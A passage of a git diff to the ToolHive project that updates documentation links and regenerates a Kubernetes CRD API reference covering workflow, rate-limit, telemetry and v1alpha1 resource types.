struct { // Read is a list of paths that the MCP server can read from // +listType=atomic diff --git a/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go b/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go index d2b37439a7..699eb0d601 100644 --- a/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go +++ b/cmd/thv-operator/api/v1beta1/virtualmcpserver_types.go @@ -252,6 +252,7 @@ const ( // DiscoveredBackend is an alias to the canonical definition in pkg/vmcp/types.go // This provides a local name for use in the CRD status. +// +gendoc type DiscoveredBackend = vmcptypes.DiscoveredBackend // VirtualMCPServerStatus defines the observed state of VirtualMCPServer diff --git a/cmd/vmcp/README.md b/cmd/vmcp/README.md index 7ac6481fa9..ebcaf67e92 100644 --- a/cmd/vmcp/README.md +++ b/cmd/vmcp/README.md @@ -2,7 +2,7 @@ The Virtual MCP Server (vmcp) is a standalone binary that aggregates multiple MCP (Model Context Protocol) servers from a ToolHive group into a single unified interface. It acts as an aggregation proxy that consolidates tools, resources, and prompts from all workloads in the group. -**Reference**: See [THV-2106 Virtual MCP Server Proposal](/docs/proposals/THV-2106-virtual-mcp-server.md) for complete design details. +**Reference**: See [THV-0008 Virtual MCP Server Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md) for complete design details. ## Features diff --git a/docs/README.md b/docs/README.md index a62432fbd4..ae11753018 100644 --- a/docs/README.md +++ b/docs/README.md @@ -35,6 +35,18 @@ For information on the ToolHive Operator, see the - **[Authorization](authz.md)** - Cedar policy-based authorization system - **[Middleware](middleware.md)** - HTTP middleware patterns for auth, authz, and telemetry - **[Runtime Implementation Guide](runtime-implementation-guide.md)** - Guide for implementing new container runtime support +- **[Runtime Version Customization](runtime-version-customization.md)** - Customizing base images and packages for protocol-scheme builds +- **[Remote MCP Authentication](remote-mcp-authentication.md)** - How ToolHive authenticates to remote MCP servers + +### Operator Documentation + +- **[VirtualMCPServer Kubernetes Guide](operator/virtualmcpserver-kubernetes-guide.md)** - Deploying and managing VirtualMCPServer on Kubernetes +- **[VirtualMCPCompositeToolDefinition Guide](operator/virtualmcpcompositetooldefinition-guide.md)** - Multi-step composite tool workflows +- **[Advanced Workflow Patterns](operator/advanced-workflow-patterns.md)** - Advanced patterns for virtual MCP composite tools +- **[Composite Tools Quick Reference](operator/composite-tools-quick-reference.md)** - Quick reference for composite tool configuration +- **[CRD API Reference](operator/crd-api.md)** - Generated API reference for all CRDs +- **[Restart Annotation](operator/restart-annotation.md)** - Restarting MCPServer instances via annotations +- **[MCPToolConfig Reconciliation](operator/toolconfig-reconciliation.md)** - How MCPToolConfig resources are reconciled ## Getting started diff --git a/docs/arch/README.md b/docs/arch/README.md index 2ae4a69657..3cad4cb9ea 100644 --- a/docs/arch/README.md +++ b/docs/arch/README.md @@ -337,7 +337,7 @@ RunConfig is part of ToolHive's API contract because: - Portable across deployments - Reproducible configurations -**Reference**: [Architecture Overview](00-overview.md#runconfig) +**Reference**: [RunConfig and Permissions](05-runconfig-and-permissions.md) ## Implementation Patterns diff --git a/docs/observability.md b/docs/observability.md index 4f48062e4b..3a11cd3d48 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -30,7 +30,7 @@ operations through: 4. **Protocol-aware instrumentation**: MCP-specific insights beyond generic HTTP metrics -See [the original design document](./proposals/otel-integration-proposal.md) for +See [the original design document](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0001-otel-integration-proposal.md) for more details on the design and goals of this observability architecture. ## Architecture @@ -159,7 +159,7 @@ spec: serviceName: my-server # unique per server ``` -See [`examples/operator/mcp-servers/mcpserver_fetch_otel.yaml`](./examples/operator/mcp-servers/mcpserver_fetch_otel.yaml) +See [`examples/operator/mcp-servers/mcpserver_fetch_otel.yaml`](../examples/operator/mcp-servers/mcpserver_fetch_otel.yaml) for a complete example. **Inline (deprecated)**: The inline `spec.telemetry` (MCPServer, MCPRemoteProxy) diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index c6372fc93b..e803e928a6 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -4,10 +4,12 @@ - [toolhive.stacklok.dev/audit](#toolhivestacklokdevaudit) - [toolhive.stacklok.dev/authtypes](#toolhivestacklokdevauthtypes) - [toolhive.stacklok.dev/config](#toolhivestacklokdevconfig) +- [toolhive.stacklok.dev/json](#toolhivestacklokdevjson) - [toolhive.stacklok.dev/ratelimit](#toolhivestacklokdevratelimit) - [toolhive.stacklok.dev/telemetry](#toolhivestacklokdevtelemetry) - [toolhive.stacklok.dev/v1alpha1](#toolhivestacklokdevv1alpha1) - [toolhive.stacklok.dev/v1beta1](#toolhivestacklokdevv1beta1) +- [toolhive.stacklok.dev/vmcp](#toolhivestacklokdevvmcp) ## toolhive.stacklok.dev/audit @@ -358,7 +360,7 @@ _Appears in:_ | --- | --- | --- | --- | | `name` _string_ | Name is the workflow name (unique identifier). | | | | `description` _string_ | Description describes what the workflow does. | | | -| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Optional: \{\}
| +| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Type: object
Optional: \{\}
| | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum workflow execution time. | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
| | `steps` _[vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) array_ | Steps are the workflow steps to execute. | | | | `output` _[vmcp.config.OutputConfig](#vmcpconfigoutputconfig)_ | Output defines the structured output schema for this workflow.
If not specified, the workflow returns the last step's output (backward compatible). | | Optional: \{\}
| @@ -437,6 +439,28 @@ _Appears in:_ +#### vmcp.config.Duration + +_Underlying type:_ _Duration_ + +Duration is a wrapper around time.Duration that marshals/unmarshals as a duration string. +This ensures duration values are serialized as "30s", "1m", etc. instead of nanosecond integers. + +_Validation:_ +- Pattern: `^([0-9]+(\.[0-9]+)?(ns|us|µs|ms|s|m|h))+$` +- Type: string + +_Appears in:_ +- [vmcp.config.CircuitBreakerConfig](#vmcpconfigcircuitbreakerconfig) +- [vmcp.config.CodeModeConfig](#vmcpconfigcodemodeconfig) +- [vmcp.config.CompositeToolConfig](#vmcpconfigcompositetoolconfig) +- [vmcp.config.FailureHandlingConfig](#vmcpconfigfailurehandlingconfig) +- [vmcp.config.OptimizerConfig](#vmcpconfigoptimizerconfig) +- [vmcp.config.StepErrorHandling](#vmcpconfigsteperrorhandling) +- [vmcp.config.TimeoutConfig](#vmcpconfigtimeoutconfig) +- [api.v1beta1.VirtualMCPCompositeToolDefinitionSpec](#apiv1beta1virtualmcpcompositetooldefinitionspec) +- [vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) + #### vmcp.config.ElicitationResponseConfig @@ -641,7 +665,7 @@ _Appears in:_ | `description` _string_ | Description is a human-readable description exposed to clients and models | | Optional: \{\}
| | `value` _string_ | Value is a template string for constructing the runtime value.
For object types, this can be a JSON string that will be deserialized.
Supports template syntax: \{\{.steps.step_id.output.field\}\}, \{\{.params.param_name\}\} | | Optional: \{\}
| | `properties` _object (keys:string, values:[vmcp.config.OutputProperty](#vmcpconfigoutputproperty))_ | Properties defines nested properties for object types.
Each nested property has full metadata (type, description, value/properties). | | Schemaless: \{\}
Type: object
Optional: \{\}
| -| `default` _[pkg.json.Any](#pkgjsonany)_ | Default is the fallback value if template expansion fails.
Type coercion is applied to match the declared Type. | | Schemaless: \{\}
Optional: \{\}
| +| `default` _[pkg.json.Any](#pkgjsonany)_ | Default is the fallback value if template expansion fails.
Type coercion is applied to match the declared Type. | | Schemaless: \{\}
Type: object
Optional: \{\}
| #### vmcp.config.SessionStorageConfig @@ -725,7 +749,7 @@ _Appears in:_ #### vmcp.config.ToolAnnotationsOverride -_Underlying type:_ _[vmcp.config.struct{Title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; ReadOnlyHint *bool "json:\"readOnlyHint,omitempty\" yaml:\"readOnlyHint,omitempty\""; DestructiveHint *bool "json:\"destructiveHint,omitempty\" yaml:\"destructiveHint,omitempty\""; IdempotentHint *bool "json:\"idempotentHint,omitempty\" yaml:\"idempotentHint,omitempty\""; OpenWorldHint *bool "json:\"openWorldHint,omitempty\" yaml:\"openWorldHint,omitempty\""}](#vmcpconfigstruct{title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; readonlyhint *bool "json:\"readonlyhint,omitempty\" yaml:\"readonlyhint,omitempty\""; destructivehint *bool "json:\"destructivehint,omitempty\" yaml:\"destructivehint,omitempty\""; idempotenthint *bool "json:\"idempotenthint,omitempty\" yaml:\"idempotenthint,omitempty\""; openworldhint *bool "json:\"openworldhint,omitempty\" yaml:\"openworldhint,omitempty\""})_ +_Underlying type:_ _struct{Title *string "json:\"title,omitempty\" yaml:\"title,omitempty\""; ReadOnlyHint *bool "json:\"readOnlyHint,omitempty\" yaml:\"readOnlyHint,omitempty\""; DestructiveHint *bool "json:\"destructiveHint,omitempty\" yaml:\"destructiveHint,omitempty\""; IdempotentHint *bool "json:\"idempotentHint,omitempty\" yaml:\"idempotentHint,omitempty\""; OpenWorldHint *bool "json:\"openWorldHint,omitempty\" yaml:\"openWorldHint,omitempty\""}_ ToolAnnotationsOverride defines overrides for tool annotation fields. All fields use pointers so nil means "don't override" while zero values @@ -803,7 +827,7 @@ _Appears in:_ | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum execution time for this step | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
Optional: \{\}
| | `onDecline` _[vmcp.config.ElicitationResponseConfig](#vmcpconfigelicitationresponseconfig)_ | OnDecline defines the action to take when the user explicitly declines the elicitation
Only used when Type is "elicitation" | | Optional: \{\}
| | `onCancel` _[vmcp.config.ElicitationResponseConfig](#vmcpconfigelicitationresponseconfig)_ | OnCancel defines the action to take when the user cancels/dismisses the elicitation
Only used when Type is "elicitation" | | Optional: \{\}
| -| `defaultResults` _[pkg.json.Map](#pkgjsonmap)_ | DefaultResults provides fallback output values when this step is skipped
(due to condition evaluating to false) or fails (when onError.action is "continue").
Each key corresponds to an output field name referenced by downstream steps.
Required if the step may be skipped AND downstream steps reference this step's output. | | Schemaless: \{\}
Optional: \{\}
| +| `defaultResults` _[pkg.json.Map](#pkgjsonmap)_ | DefaultResults provides fallback output values when this step is skipped
(due to condition evaluating to false) or fails (when onError.action is "continue").
Each key corresponds to an output field name referenced by downstream steps.
Required if the step may be skipped AND downstream steps reference this step's output. | | Schemaless: \{\}
Type: object
Optional: \{\}
| | `collection` _string_ | Collection is a Go template expression that resolves to a JSON array or a slice.
Only used when Type is "forEach". | | Optional: \{\}
| | `itemVar` _string_ | ItemVar is the variable name used to reference the current item in forEach templates.
Defaults to "item" if not specified.
Only used when Type is "forEach". | | Optional: \{\}
| | `maxParallel` _integer_ | MaxParallel limits the number of concurrent iterations in a forEach step.
Defaults to the DAG executor's maxParallel (10).
Only used when Type is "forEach". | | Optional: \{\}
| @@ -834,6 +858,40 @@ _Appears in:_ +## toolhive.stacklok.dev/json + + +#### pkg.json.Any + + + +Any is a type alias for Data[any], storing arbitrary JSON values. +This is the most flexible type, suitable when the JSON structure is unknown. + +_Validation:_ +- Type: object + + + + + + + +#### pkg.json.Map + + + +Map is a type alias for Data[map[string]any], storing JSON objects. +Use this when you know the data will always be a JSON object (not array, string, etc.). + +_Validation:_ +- Type: object + + + + + + ## toolhive.stacklok.dev/ratelimit @@ -871,160 +929,681 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared is a token bucket shared across all users for the entire server. | | Optional: \{\}
| -| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser is a token bucket applied independently to each authenticated user
at the server level. Requires authentication to be enabled.
Each unique userID creates Redis keys that expire after 2x refillPeriod.
Memory formula: unique_users_per_TTL_window * (1 + num_tools_with_per_user_limits) keys. | | Optional: \{\}
| -| `tools` _[ratelimit.types.ToolRateLimitConfig](#ratelimittypestoolratelimitconfig) array_ | Tools defines per-tool rate limit overrides.
Each entry applies additional rate limits to calls targeting a specific tool name.
A request must pass both the server-level limit and the per-tool limit. | | Optional: \{\}
| +| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared is a token bucket shared across all users for the entire server. | | Optional: \{\}
| +| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser is a token bucket applied independently to each authenticated user
at the server level. Requires authentication to be enabled.
Each unique userID creates Redis keys that expire after 2x refillPeriod.
Memory formula: unique_users_per_TTL_window * (1 + num_tools_with_per_user_limits) keys. | | Optional: \{\}
| +| `tools` _[ratelimit.types.ToolRateLimitConfig](#ratelimittypestoolratelimitconfig) array_ | Tools defines per-tool rate limit overrides.
Each entry applies additional rate limits to calls targeting a specific tool name.
A request must pass both the server-level limit and the per-tool limit. | | Optional: \{\}
| + + +#### ratelimit.types.ToolRateLimitConfig + + + +ToolRateLimitConfig defines rate limits for a specific tool. +At least one of shared or perUser must be configured. + + + +_Appears in:_ +- [ratelimit.types.RateLimitConfig](#ratelimittypesratelimitconfig) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `name` _string_ | Name is the MCP tool name this limit applies to. | | MinLength: 1
Required: \{\}
| +| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared token bucket for this specific tool. | | Optional: \{\}
| +| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser token bucket configuration for this tool. | | Optional: \{\}
| + + + +## toolhive.stacklok.dev/telemetry + + +#### pkg.telemetry.Config + + + +Config holds the configuration for OpenTelemetry instrumentation. + + + +_Appears in:_ +- [vmcp.config.Config](#vmcpconfigconfig) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `endpoint` _string_ | Endpoint is the OTLP endpoint URL | | Optional: \{\}
| +| `serviceName` _string_ | ServiceName is the service name for telemetry.
When omitted, defaults to the server name (e.g., VirtualMCPServer name). | | Optional: \{\}
| +| `serviceVersion` _string_ | ServiceVersion is the service version for telemetry.
When omitted, defaults to the ToolHive version. | | Optional: \{\}
| +| `tracingEnabled` _boolean_ | TracingEnabled controls whether distributed tracing is enabled.
When false, no tracer provider is created even if an endpoint is configured. | false | Optional: \{\}
| +| `metricsEnabled` _boolean_ | MetricsEnabled controls whether OTLP metrics are enabled.
When false, OTLP metrics are not sent even if an endpoint is configured.
This is independent of EnablePrometheusMetricsPath. | false | Optional: \{\}
| +| `samplingRate` _string_ | SamplingRate is the trace sampling rate (0.0-1.0) as a string.
Only used when TracingEnabled is true.
Example: "0.05" for 5% sampling. | 0.05 | Optional: \{\}
| +| `headers` _object (keys:string, values:string)_ | Headers contains authentication headers for the OTLP endpoint. | | Optional: \{\}
| +| `insecure` _boolean_ | Insecure indicates whether to use HTTP instead of HTTPS for the OTLP endpoint. | false | Optional: \{\}
| +| `enablePrometheusMetricsPath` _boolean_ | EnablePrometheusMetricsPath controls whether to expose Prometheus-style /metrics endpoint.
The metrics are served on the main transport port at /metrics.
This is separate from OTLP metrics which are sent to the Endpoint. | false | Optional: \{\}
| +| `environmentVariables` _string array_ | EnvironmentVariables is a list of environment variable names that should be
included in telemetry spans as attributes. Only variables in this list will
be read from the host machine and included in spans for observability.
Example: ["NODE_ENV", "DEPLOYMENT_ENV", "SERVICE_VERSION"] | | Optional: \{\}
| +| `customAttributes` _object (keys:string, values:string)_ | CustomAttributes contains custom resource attributes to be added to all telemetry signals.
These are parsed from CLI flags (--otel-custom-attributes) or environment variables
(OTEL_RESOURCE_ATTRIBUTES) as key=value pairs. | | Optional: \{\}
| +| `useLegacyAttributes` _boolean_ | UseLegacyAttributes controls whether legacy (pre-MCP OTEL semconv) attribute names
are emitted alongside the new standard attribute names. When true, spans include both
old and new attribute names for backward compatibility with existing dashboards.
Currently defaults to true; this will change to false in a future release. | true | Optional: \{\}
| +| `caCertPath` _string_ | CACertPath is the file path to a CA certificate bundle for the OTLP endpoint.
When set, the OTLP exporters use this CA to verify the collector's TLS certificate
instead of relying solely on the system CA pool. | | Optional: \{\}
| + + + + + + + + + + + + + +## toolhive.stacklok.dev/v1alpha1 +### Resource Types +- [api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) +- [api.v1alpha1.EmbeddingServerList](#apiv1alpha1embeddingserverlist) +- [api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) +- [api.v1alpha1.MCPAuthzConfigList](#apiv1alpha1mcpauthzconfiglist) +- [api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) +- [api.v1alpha1.MCPExternalAuthConfigList](#apiv1alpha1mcpexternalauthconfiglist) +- [api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) +- [api.v1alpha1.MCPGroupList](#apiv1alpha1mcpgrouplist) +- [api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) +- [api.v1alpha1.MCPOIDCConfigList](#apiv1alpha1mcpoidcconfiglist) +- [api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) +- [api.v1alpha1.MCPRegistryList](#apiv1alpha1mcpregistrylist) +- [api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) +- [api.v1alpha1.MCPRemoteProxyList](#apiv1alpha1mcpremoteproxylist) +- [api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) +- [api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) +- [api.v1alpha1.MCPServerEntryList](#apiv1alpha1mcpserverentrylist) +- [api.v1alpha1.MCPServerList](#apiv1alpha1mcpserverlist) +- [api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) +- [api.v1alpha1.MCPTelemetryConfigList](#apiv1alpha1mcptelemetryconfiglist) +- [api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) +- [api.v1alpha1.MCPToolConfigList](#apiv1alpha1mcptoolconfiglist) +- [api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) +- [api.v1alpha1.MCPWebhookConfigList](#apiv1alpha1mcpwebhookconfiglist) +- [api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) +- [api.v1alpha1.VirtualMCPCompositeToolDefinitionList](#apiv1alpha1virtualmcpcompositetooldefinitionlist) +- [api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) +- [api.v1alpha1.VirtualMCPServerList](#apiv1alpha1virtualmcpserverlist) + + + +#### api.v1alpha1.EmbeddingServer + + + +EmbeddingServer is the deprecated v1alpha1 version of the EmbeddingServer resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `EmbeddingServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.EmbeddingServerSpec](#apiv1beta1embeddingserverspec)_ | | | | +| `status` _[api.v1beta1.EmbeddingServerStatus](#apiv1beta1embeddingserverstatus)_ | | | | + + +#### api.v1alpha1.EmbeddingServerList + + + +EmbeddingServerList contains a list of EmbeddingServer. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `EmbeddingServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) array_ | | | | + + +#### api.v1alpha1.MCPAuthzConfig + + + +MCPAuthzConfig is the deprecated v1alpha1 version of the MCPAuthzConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPAuthzConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPAuthzConfigSpec](#apiv1beta1mcpauthzconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPAuthzConfigStatus](#apiv1beta1mcpauthzconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPAuthzConfigList + + + +MCPAuthzConfigList contains a list of MCPAuthzConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPAuthzConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) array_ | | | | + + +#### api.v1alpha1.MCPExternalAuthConfig + + + +MCPExternalAuthConfig is the deprecated v1alpha1 version of the MCPExternalAuthConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPExternalAuthConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPExternalAuthConfigSpec](#apiv1beta1mcpexternalauthconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPExternalAuthConfigStatus](#apiv1beta1mcpexternalauthconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPExternalAuthConfigList + + + +MCPExternalAuthConfigList contains a list of MCPExternalAuthConfig. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPExternalAuthConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) array_ | | | | + + +#### api.v1alpha1.MCPGroup + + + +MCPGroup is the deprecated v1alpha1 version of the MCPGroup resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPGroup` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPGroupSpec](#apiv1beta1mcpgroupspec)_ | | | | +| `status` _[api.v1beta1.MCPGroupStatus](#apiv1beta1mcpgroupstatus)_ | | | | + + +#### api.v1alpha1.MCPGroupList + + + +MCPGroupList contains a list of MCPGroup. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPGroupList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) array_ | | | | + + +#### api.v1alpha1.MCPOIDCConfig + + + +MCPOIDCConfig is the deprecated v1alpha1 version of the MCPOIDCConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPOIDCConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
